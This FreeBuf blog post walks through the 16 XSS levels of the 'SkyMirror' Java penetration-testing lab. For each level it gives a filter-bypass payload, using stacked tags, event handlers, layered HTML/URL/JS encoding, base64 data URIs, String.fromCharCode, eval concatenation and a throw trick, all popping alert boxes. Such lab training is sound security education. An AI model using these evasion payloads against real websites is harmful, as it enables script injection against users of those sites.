freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java渗透测试靶场“天境”通关系列:XSS
安全大头兵 2023-04-05 13:59:22 289589
所属地 广东省

一、靶场地址

GitHub

https://github.com/mynameis0day/skymirror/tree/master

百度网盘

链接:https://pan.baidu.com/s/1103FAT65VLXWj0NbN4TYMw?pwd=37r2 
提取码:37r2

二、靶场搭建

天境是一款基于Java编写的渗透测试靶场,目前1.0版本覆盖的漏洞类型是暴力破解、命令执行、反序列化、文件下载、SpEL注入、SSRF、文件上传、URL跳转、XSS、XEE,共计10种类型。

靶场启动特别简单,资源文件夹中包含了项目的源代码“SourceCode”和它的jar包文件“skymirror.jar”,大家可以根据自己的喜好来启动靶场。
下面说明一下如何利用jar包来启动该靶场:
(1)来到skymirror.jar的本地目录下
(2)运行命令“java -jar skymirror.jar”
(3)浏览器访问“本机IP:8080/interface/index.html”即可访问靶场。

启动成功如下图:

然后就可以愉快的玩耍了!

三、XSS关卡

靶场的XSS关卡共用16关,每一个关卡所考察的知识点都非常经典,值得大家好好钻研。

那就让我们开始通关之旅吧!

第一关:熟悉XSS漏洞

这一关没有任何的过滤,直接输入payload“<script>alert(1)</script>”即可触发弹窗:

第二关:叠堆绕过

看一下源代码:

可以知道,后台把“<script>”、“</script>”给过滤了,但只是过滤一次,所以这时候可以构造payload“<scr<script>ipt>alert(2)</sc</script>ript>”来绕过过滤:

第三关:事件绕过

看一下源代码:

后台把“script”替换为了“?”,可以得知,含有“script”的payload都不起作用了。这时候可以考虑利用事件来绕过过滤,构造payload:<img src=x onclick="alert(3)">,点击图片,成功触发弹窗:

1680668403_642cf6f368d9776cef8f4.png!small?1680668404155

总结一下常见事件函数:

1680668473_642cf7393940f9a0b8b6a.png!small?1680668474113

第四关:html实体编码绕过

看一下源代码:

1680668602_642cf7bade4cae31fc3a7.png!small?1680668603421

这一关过滤得非常严格,有“script”关键词、弹窗函数和伪协议javascript的payload都不起作用了。遇到这种情况,可以利用HTML编码绕过。

当"可控点"为单个标签属性时,可以使用 html 实体编码:

<a href="可控点">test</a>

<iframe src="可控点">test<iframe>

<img src=x onerror="可控点">

把<img src=x onerror="javascript:alert(1)">通过HTML编码为(注意需要编码的地方):

1680668923_642cf8fb4c6c50b25964a.png!small?1680668923659

成功触发弹窗:

1680668977_642cf931b575729441a19.png!small?1680668978131

第五关:URL编码绕过

看一下源代码:

1680669050_642cf97a0c8fd429a3cd7.png!small?1680669050675

承接第四关,并且第五关把"&"、"#"、";"这三个符号过滤了,因此这一关不能继续使用HTML编码了。这时候我们利用url编码绕过。

当注入点存在 href 或者 src 属性时,可以使用 url 编码:

<a href="可控点">test</a>
<iframe src="可控点">test</iframe>

构造payload:<a href="javascript:alert(1)">test</a>,进行url编码(注意需要编码的地方):

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>,点击“test”,成功触发弹窗:

1680669245_642cfa3d399e937943a71.png!small?1680669245661

注意:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

第六关:js编码绕过

看一下源代码:

1680670201_642cfdf9d232e9f874957.png!small?1680670202593

承接第四和第五关,为协议javascript被过滤了,所以url编码无法用,易知,HTML编码也无法用。这时候我们可以利用js编码绕过。

js 编码策略:

1、"\" 加上三个八进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\074"

2、"\x" 加上两个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\x3c"

3、"\u" 加上四个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\u003c"

4、对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)

<img src=x onerror="可控点">

<input onfocus=location="可控点" autofocus>

构造payload:<img src=x onerror="alert(1)">,对其进行js编码:

<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">,成功触发弹窗:

1680670546_642cff5295b7e378b7b1a.png!small?1680670547018

注:js编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 js编码时,只能对 alert 和 "1" 进行编码,框号编码后会被当成文本字符,不能执行。

第七关:混合编码绕过

看一下源代码:

1680670940_642d00dc9721211345623.png!small?1680670941243

承接第四、第五和第六关,这一关把事件也过滤了,单纯的html编码、url编码和js编码已经不起作用,这时候我们利用混合编码来绕过过滤。

遵循浏览器的解析顺序:HTML解码->URL解码->JS解码。

Payload:<a href="javascript:alert(1)">test</a>

①先进行js编码:

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>

②再进行url编码:

<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>

③然后进行html编码:

1680671234_642d020245dafd673d23d.png!small?1680671234662

点击“test”,成功触发弹窗:

1680671455_642d02df517e11cd17d15.png!small?1680671455800

第八关:base64编码绕过

base64 编码通常需要使用到 data 伪协议。

data 协议使用方法:data:资源类型;编码,内容。

通常与 base64 编码配合 data 协议的标签有 <object>、<a>、<iframe>。

构造payload:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>,成功触发弹窗:

1680671607_642d03776096f97025b94.png!small?1680671608029

第九关:ASCII编码绕过

ascii 编码一般配合String.fromCharCode函数使用。

alert(1):

十进制:97, 108, 101, 114, 116, 40, 49, 41

十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29

十进制payload:

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>,成功触发弹窗:

1680671814_642d0446413e10565f4d8.png!small?1680671814644

十六进制payload:

<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>,成功触发弹窗:

1680671859_642d04731feaf6bb159c1.png!small?1680671859559

第十关:函数拼接绕过

看一下源代码:

1680672399_642d068f60e60196d0452.png!small?1680672399980

这一关过滤非常严格,常规的payload和编码payload已经无法绕过,这时候我们利用函数拼接绕过过滤。

0x01. eval

<img src="x" onerror="eval('al'+'ert(1)')">:

1680672529_642d071180eac5dbf549e.png!small?1680672530195

0x02. top

<img src="x" onerror="top['al'+'ert'](1)">:

1680672563_642d0733ec18953cfce09.png!small?1680672564331

0x03. window

<img src="x" onerror="window['al'+'ert'](1)">:

1680672655_642d078f6cd3b488696fe.png!small?1680672655806

0x04. self

<img src="x" onerror="self[`al`+`ert`](1)">:

1680672716_642d07ccb364fae33c436.png!small?1680672717114

0x05. parent

<img src="x" onerror="parent[`al`+`ert`](1)">:

1680672761_642d07f9d87db7576d515.png!small?1680672762611

0x06. frames

<img src="x" onerror="frames[`al`+`ert`](1)">:

1680672816_642d083004f21833d5942.png!small?1680672816540

常用函数:

<img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">

第十一关:赋值拼接绕过

看一下源代码:

1680673199_642d09af16e4b024f1d69.png!small?1680673199620

过滤得非常严格,但是我们发现,后台只是把“top”经过单次替换,使用所以这时候我们可以利用赋值和叠堆来绕过过滤,构造payload:

<img src onerror=['ale'+'rt'].map(totopp['ev'+'al'])[0]['valu'+'eOf']()(1)>,成功触发弹窗:

1680673173_642d0995eb5e45458a637.png!small?1680673174375

第十二关:火狐IE专属

构造火狐IE浏览器的专属payload:

<marquee onstart=alert(1)>,在火狐浏览器尝试,成功触发弹窗:

1680673449_642d0aa9f1dfab8eb40a5.png!small?1680673451964

第十三关:throw绕过

构造payload:

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">,成功触发弹窗:

1680673530_642d0afadd68ad5b66c56.png!small?1680673531321

第十四关:大小写绕过

这一关难度明显比之前的低N个等级,构造payload:

<Script>alert(1)</scrIpt>,成功触发弹窗:

1680673663_642d0b7f2e2dc62ace01a.png!small?1680673663574

第十五关:空格/回车(换行符)/Tab绕过

构造payload:

<img src=x onerror="javascript:    alert(1)">,成功触发弹窗:

1680673731_642d0bc3212c41f39929f.png!small?1680673731470

第十六关:alert被过滤

构造payload:

<script>confirm(/xss/)</script>,成功触发弹窗:

1680673818_642d0c1a50eb7d3bf2ddf.png!small?1680673818834


# 渗透测试 # web安全 # XSS漏洞 # 靶场实战 # JAVA安全
本文为 安全大头兵 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
web渗透测试
安全大头兵 LV.4
Web渗透、安卓逆向。原创不易,转载请标明出处~
  • 11 文章数
  • 19 关注者
QingLong framework:内网渗透模块之小工具模块
2023-08-13
QingLong framework:内网渗透模块之后门生成监听使用删除
2023-08-11
QingLong framework:恶意攻击模块之邮件钓鱼和邮箱轰炸
2023-08-11
文章目录